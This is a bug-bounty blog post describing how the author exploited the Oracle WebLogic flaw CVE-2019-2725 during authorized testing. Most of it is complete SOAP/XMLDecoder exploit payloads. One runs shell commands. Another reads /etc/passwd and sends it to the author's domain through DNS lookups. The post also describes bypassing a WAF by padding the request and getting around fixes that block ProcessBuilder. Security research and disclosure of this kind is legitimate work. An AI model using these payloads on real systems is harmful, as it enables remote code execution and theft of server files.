TL;DR
In this article I will explain several techniques that I used to exploit CVE-2019-2725.
About Weblogic
Oracle WebLogic Server is a Java EE application server currently developed by Oracle Corporation. Oracle acquired WebLogic Server when it purchased BEA Systems in 2008. Wikipedia
CVE-2019-2725
On April 25, 2019, a team of cybersecurity researchers published a warning describing a remote code execution zero-day flaw in Oracle WebLogic. This vulnerability affects versions 10.X and 12.1.3 of WebLogic that have the components wls9_async_response.war and wls-wsat.war enabled. The vulnerability can be validated by sending a specially crafted SOAP request with a java XML bean to the endpoint:/_async/AsyncResponseService
.
Details
While doing penetration testing on a target that had weblogic installed, I decided to test for common weblogic CVEs. The target had the endpoint “/_async/AsyncResponseService
” that we could use to test for CVE-2019-2725. The first thing I tried was to verify if the target is vulnerable by creating a “java.net.Socket” object that tries to connect to my server and see if I will get any connections on my listener using the following payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>java.net.Socket</string>
<void>
<string>rcetest.test.zombiehelp54.me</string>
<int>80</int>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
However, the server never responded and my request was never sent because of the WAF, after more testing I was able to bypass the WAF by adding so many spaces before the XML payload since the WAF will ignore the rest of the request data when the content length is too long.
After doing that, I did get a response with 202 status, however, I didn’t get anything on my netcat listener on port 80, later I discovered that the firewall also prevents all outgoing connections. I then decided to check for DNS requests and found that DNS requests are going out and got a DNS request on my listener for rcetest.test.zombiehelp54.me
With that said it means that server is vulnerable as I was able to create a “java.net.Socket
” object and it connected to my server.
After reading the original article for CVE-2019-2725
, it mentioned that this can also be exploited using org.slf4j.ext.EventData
class but the payload for this was never provided, however, after reading the source code of org.slf4j.ext.EventData
class I was able to build my own payload that can be used to execute system commands:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>org.slf4j.ext.EventData</string>
<void>
<string>
<![CDATA[<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping "`ls | head -n 1`.hack.zombiehelp54.me"</string>
</void>
</array>
<void method="start" /></void>
</java>]]>
</string>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
Basically what the above XML does is that it creates an org.slf4j.ext.EventData
object that takes an XML bean as a string then decodes it and creates a java.lang.ProcessBuilder
object out of it, after that the start()
method is called which executes the system command ping "`ls | head -n 1`.hack.zombiehelp54.me"
and as a result I got a DNS request with the results of the ls
command.

I reported what I have found then kept looking for the same vulnerability within other bug bounty programs. Luckily I have found a few other bug bounty programs that were also vulnerable and some of them used the same lazy WAF that ignored the request body when the length is too long. Some of them deployed a custom fix that prevented access to java.lang.ProcessBuilder
as well as java.lang.Runtime
classes to prevent execution of system commands, however, after doing more research about “java.beans.XMLDecoder
” class and understanding the syntax, It can be used to create any java object from any class with the ability to call functions and add attributes. Thus, it’s possible to read and write files to the mentioned vulnerable servers.
With that said, I created an XML bean that reads the file “/etc/passwd
” and sends it to my server through a DNS request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>org.slf4j.ext.EventData</string>
<void>
<string><![CDATA[
<java>
<object id="file" class="java.io.FileReader">
<string>/etc/passwd</string>
</object>
<object id="text" class="java.io.BufferedReader">
<object idref="file" />
<void id="res" method="readLine"/>
</object>
<object idref="res">
<void id="res2" method="replace">
<string>:</string>
<string>-</string>
</void>
</object>
<object idref="res2">
<void id="res3" method="replace">
<string>/</string>
<string>-</string>
</void>
</object>
<object id="zhp" class="java.lang.String">
<string>http://</string>
</object>
<object idref="zhp">
<void id="res4" method="concat" >
<object idref="res3" />
</void>
</object>
<object idref="res4">
<void id="res5" method="concat" >
<string>.hack.zombiehelp54.me</string>
</void>
</object>
<object id="url" class="java.net.URL">
<object idref="res5" /></object>
<object idref="url">
<void id="connection" method="openConnection" />
</object>
<object idref="connection">
<void id="inputStream" method="getInputStream"/>
</object>
</java>
]]></string>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
I tested the payload on the target and it worked like a charm.

At this point I reported my findings and was awarded a nice bounty for each vulnerable domain. Thanks and happy new year ^_^
Post comments (0)